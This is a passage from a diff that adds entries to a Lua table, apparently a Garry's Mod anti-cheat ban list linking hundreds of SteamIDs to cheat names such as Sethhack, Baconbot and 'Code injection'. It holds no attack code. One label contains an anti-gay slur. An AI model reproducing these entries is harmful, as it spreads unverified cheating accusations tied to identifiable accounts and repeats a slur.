{Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:1194255"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:0:49009808"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:37118627"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:25331167"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:36940612"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:22684909"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:40749708"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:24595045"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:32982037"] = {Name = "SP: CubHack", Skid = true}, + ["STEAM_0:1:1439351"] = {Name = "SP: herpes", Skid = true}, + ["STEAM_0:0:16350495"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:27874209"] = {Name = "SP: cubhack", Skid = true}, + ["STEAM_0:1:26057694"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:26177708"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:21155536"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:36006702"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:43940964"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:11933255"] = {Name = "SP: Convar forcing", Skid = true}, + ["STEAM_0:1:3176600"] = {Name = "SP: Mydik", Skid = true}, + ["STEAM_0:1:21523239"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:1:30622959"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:30285776"] = {Name = "SP: Hermes", Skid = true}, + ["STEAM_0:1:15979882"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:1:18460921"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:1:12040384"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:1:17505658"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:21479539"] = {Name = "SP: coma", Skid = true}, + ["STEAM_0:1:30537140"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:38812224"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:22582910"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:37991340"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:19159317"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:10713231"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:27332827"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:0:36780574"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:34202299"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:17275724"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:19803935"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:18953009"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:0:26895317"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:0:19735449"] = {Name = "SP: Litebotgarry", Skid = true}, + ["STEAM_0:1:25272720"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:19921990"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:1:41274325"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:49076431"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:41087968"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:40131982"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:38362287"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:20497785"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:15607614"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:22010562"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:40407825"] = {Name = "SP: hh", Skid = true}, + ["STEAM_0:1:19831541"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:20811691"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:16267538"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:1:32234981"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:33749817"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:14696634"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:22995416"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:12808689"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:11799654"] = {Name = "SP: SethHack(edit)", Skid = true}, + ["STEAM_0:0:38808302"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:1:18969654"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:16499611"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:0:18287027"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:0:20409589"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:12466191"] = {Name = "SP: Speedhack", Skid = true}, + ["STEAM_0:1:33460267"] = {Name = "SP: Isis", Skid = true}, + ["STEAM_0:0:45159127"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:17600393"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:0:19096785"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:37730160"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:22284069"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:0:18898938"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:23552236"] = {Name = "SP: (cracked) sethhack v2", Skid = true}, + ["STEAM_0:0:34483728"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:33177474"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:18167133"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:18222074"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:1:26487751"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:0:26165399"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:0:18050538"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:1:27042639"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:0:10131725"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:1:32835647"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:16319183"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:38403849"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:15292404"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:5550966"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:1:30710525"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:1:6183216"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:34176202"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:0:15500261"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:1:22482699"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:0:31925018"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:29853070"] = {Name = "SP: Code injection(SQLite)", Skid = true}, + ["STEAM_0:0:16330620"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:0:21553359"] = {Name = "SP: elebot", Skid = true}, + ["STEAM_0:0:20327715"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:4649132"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:16018224"] = {Name = "SP: Convar forcing", Skid = true}, + ["STEAM_0:0:8591724"] = {Name = "SP: Coma", Skid = true}, + ["STEAM_0:1:40265724"] = {Name = "SP: Code Injection (Overwritten sqllite)", Skid = true}, + ["STEAM_0:1:25397734"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:41745347"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:36180396"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:25559717"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:1:38994052"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:26269678"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:1:27526575"] = {Name = "SP: Odius", Skid = true}, + ["STEAM_0:0:20854764"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:1:6076942"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:29248785"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:44810352"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:17908541"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:1:10569351"] = {Name = "SP: Eradicate", Skid = true}, + ["STEAM_0:0:38604448"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:17568188"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:1:25315900"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:1:29535476"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:1:29771895"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:0:24963345"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:17508660"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:24794531"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:3749847"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:0:8345987"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:1:9011787"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:0:19531733"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:1:41611335"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:20703502"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:28462533"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:33488877"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:1:37543716"] = {Name = "SP: Inkbot", Skid = true}, + ["STEAM_0:1:18227696"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:1:27014861"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:24983426"] = {Name = "SP: Hermes", Skid = true}, + ["STEAM_0:1:23674993"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:24859251"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:1:25636734"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:5100034"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:1:24346494"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:19767060"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:0:18146611"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:0:29046889"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:0:21491851"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:1:15404351"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:1:13908513"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:1:13100739"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:0:17605909"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:19248793"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:0:19648713"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:0:42440544"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:22247737"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:1:30764583"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:1:15029381"] = {Name = "SP: Whip it good", Skid = true}, + ["STEAM_0:1:26604027"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:421861172"] = {Name = "SP: Speedhack", Skid = true}, + ["STEAM_0:1:25812285"] = {Name = "SP: Convar forcing", Skid = true}, + ["STEAM_0:0:39690375"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:14530371"] = {Name = "SP: Code injection(SQLite)", Skid = true}, + ["STEAM_0:0:18697685"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:30626912"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:1:35849114"] = {Name = "SP: Eradicate", Skid = true}, + ["STEAM_0:1:30046997"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:0:42096326"] = {Name = "SP: Sorry if the world has been taken over by antilions.", Skid = true}, + ["STEAM_0:1:16421568"] = {Name = "SP: Convar forcing", Skid = true}, + ["STEAM_0:1:30754890"] = {Name = "SP: integra", Skid = true}, + ["STEAM_0:1:15928137"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:1:30682335"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:11680407"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:1:17042971"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:33831311"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:29437358"] = {Name = "SP: LHM", Skid = true}, + ["STEAM_0:0:19807101"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:1:17267267"] = {Name = "SP: Inkbot", Skid = true}, + ["STEAM_0:1:17906432"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:25999084"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:19353043"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:29640664"] = {Name = "SP: coma", Skid = true}, + ["STEAM_0:0:32070437"] = {Name = "SP: faggot (poki)", Skid = true}, + ["STEAM_0:0:19293437"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:16373250"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:12190592"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:3992689"] = {Name = "SP: LHM", Skid = true}, + ["STEAM_0:0:34092283"] = {Name = "SP: Gooberhack", Skid = true}, + ["STEAM_0:0:19321794"] = {Name = "SP: Convar forcing", Skid = true}, + ["STEAM_0:0:21373726"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:20564249"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:24988955"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:30569150"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:14563562"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:1567954"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:33752125"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:20406383"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:27791499"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:6669318"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:1:24309692"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:1:25915952"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:1:23946737"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:18361092"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:1:1198860"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:0:28903624"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:19338100"] = {Name = "SP: coma", Skid = true}, + ["STEAM_0:1:11769924"] = {Name = "SP: coma", Skid = true}, + ["STEAM_0:1:16485732"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:0:31831863"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:31767822"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:0:22914080"] = {Name = "SP: Convar forcing", Skid = true}, + ["STEAM_0:1:25369713"] = {Name = "SP: Convar forcing", Skid = true}, + ["STEAM_0:1:21918773"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:29114279"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:32971824"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:19650313"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:0:22748305"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:1:13196020"] = {Name = "SP: Eradicate", Skid = true}, + ["STEAM_0:1:20280169"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:20479184"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:0:14100771"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:22770384"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:5325124"] = {Name = "SP: Code injection(SQLite)", Skid = true}, + ["STEAM_0:0:29163952"] = {Name = "SP: Code injection(SQLite)", Skid = true}, + ["STEAM_0:1:35738339"] = {Name = "SP: gbot,eradicate,gbot3", Skid = true}, + ["STEAM_0:1:13250571"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:17003802"] = {Name = "SP: Code injection(SQLite)", Skid = true}, + ["STEAM_0:0:17574951"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:0:7016175"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:27017512"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:1:25179712"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:1:17424205"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:15704483"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:44321488"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:47607534"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:15446164"] = {Name = "SP: Hermes", Skid = true}, + ["STEAM_0:1:20264839"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:1:18843517"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:16190578"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:1:12209165"] = {Name = "SP: Hermes", Skid = true}, + ["STEAM_0:1:18488836"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:25983023"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:15320742"] = {Name = "SP: Speedhack", Skid = true}, + ["STEAM_0:1:18307252"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:1:18617255"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:1:2381903"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:1:15712642"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:44098755"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:19095943"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:41331055"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:29784969"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:20940543"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:18007424"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:25609791"] = {Name = "SP: Inkbot", Skid = true}, + ["STEAM_0:1:10897283"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:1:7334549"] = {Name = "SP: Code injection(SQLite)", Skid = true}, + ["STEAM_0:0:35192837"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:1:15479136"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:4386443"] = {Name = "SP: Inkbot", Skid = true}, + ["STEAM_0:0:28824915"] = {Name = "SP: Speedhack", Skid = true}, + ["STEAM_0:1:31629013"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:11641057"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:22038220"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:0:20102730"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:1426417"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:14352118"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:30594971"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:21605065"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:29886937"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:17790269"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:33917884"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:25879423"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:1:35143632"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:6059942"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:25484778"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:25900751"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:22047853"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:32655084"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:30735853"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:38846072"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:5685772"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:10088463"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:43680205"] = {Name = "SP: gbot", Skid = true}, + ["STEAM_0:1:21846812"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:17212947"] = {Name = "SP: lix", Skid = true}, + ["STEAM_0:1:21977353"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:6891944"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:19345248"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:37936662"] = {Name = "SP: Hermes", Skid = true}, + ["STEAM_0:0:40406128"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:37220271"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:37436782"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:21583054"] = {Name = "SP: Injectshunt", Skid = true}, + ["STEAM_0:0:21044008"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:29690396"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:9750737"] = {Name = "SP: Convar forcing", Skid = true}, + ["STEAM_0:1:36131576"] = {Name = "SP: zbot", Skid = true}, + ["STEAM_0:0:24419439"] = {Name = "SP: isis", Skid = true}, + ["STEAM_0:0:40519716"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:11268198"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:25915577"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:42802404"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:29466967"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:25783134"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:21656159"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:8836134"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:33962112"] = {Name = "SP: TeaBag Hack", Skid = true}, + ["STEAM_0:1:15231011"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:0:49791119"] = {Name = "SP: hh", Skid = true}, + ["STEAM_0:0:40897007"] = {Name = "SP: isis", Skid = true}, + ["STEAM_0:1:31668419"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:20027677"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:40335356"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:20237730"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:18511864"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:0:18391725"] = {Name = "SP: Speedhack", Skid = true}, + ["STEAM_0:1:41391523"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:29142644"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:1:33355913"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:15922559"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:17465034"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:0:31776035"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:19699112"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:26052782"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:15644324"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:24320781"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:28545861"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:26118232"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:41307538"] = {Name = "SP: tame", Skid = true}, + ["STEAM_0:1:12018844"] = {Name = "SP: isis", Skid = true}, + ["STEAM_0:0:17784269"] = {Name = "SP: Inkbot", Skid = true}, + ["STEAM_0:0:32269281"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:13254889"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:28282921"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:11236593"] = {Name = "SP: Eradicate", Skid = true}, + ["STEAM_0:0:12049687"] = {Name = "SP: Convar forcing", Skid = true}, + ["STEAM_0:1:42084743"] = {Name = "SP: Gooberhack", Skid = true}, + ["STEAM_0:0:22043362"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:21774502"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:26509632"] = {Name = "SP: myg0t", Skid = true}, + ["STEAM_0:0:7350016"] = {Name = "SP: Sethhack", SH = true}, + ["STEAM_0:1:15978572"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:25624107"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:15789158"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:19354830"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:0:11431754"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:0:25130870"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:28372989"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:19617520"] = {Name = "SP: elebot", Skid = true}, + ["STEAM_0:0:26024904"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:31947311"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:16212076"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:1:43442378"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:35205289"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:23403890"] = {Name = "SP: Mydik", Skid = true}, + ["STEAM_0:1:22772100"] = {Name = "SP: whtogg", Skid = true}, + ["STEAM_0:0:22534432"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:32148856"] = {Name = "SP: pb", Skid = true}, + ["STEAM_0:0:14891104"] = {Name = "SP: Convar forcing", Skid = true}, + ["STEAM_0:1:6018850"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:26637072"] = {Name = "SP: Herpaflerp", Skid = true}, + ["STEAM_0:0:21760599"] = {Name = "SP: coma", Skid = true}, + ["STEAM_0:1:43891704"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:30499160"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:19348310"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:8284163"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:20743276"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:13709339"] = {Name = "SP: LHM", Skid = true}, + ["STEAM_0:1:36927998"] = {Name = "SP: Unknown", Skid = true}, + ["STEAM_0:0:30874880"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:15801351"] = {Name = "SP: coma", Skid = true}, + ["STEAM_0:0:20043407"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:19748919"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:1:14239923"] = {Name = "SP: Inkbot", Skid = true}, + ["STEAM_0:0:24199196"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:32819171"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:37950845"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:8856483"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:32979564"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:30286410"] = {Name = "SP: Baconbot", Skid = true}, + ["STEAM_0:0:5305833"] = {Name = "SP: Pees", Skid = true}, + ["STEAM_0:1:28533213"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:16904191"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:12581805"] = {Name = "SP: Sethhack(leaked)", Skid = true}, + ["STEAM_0:1:22227066"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:44107553"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:26549352"] = {Name = "SP: Hermes", Skid = true}, + ["STEAM_0:1:19732775"] = {Name = "SP: Ph0ne", Skid = true}, + ["STEAM_0:0:23645529"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:38186996"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:1:20546481"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:0:29253421"] = {Name = "SP: 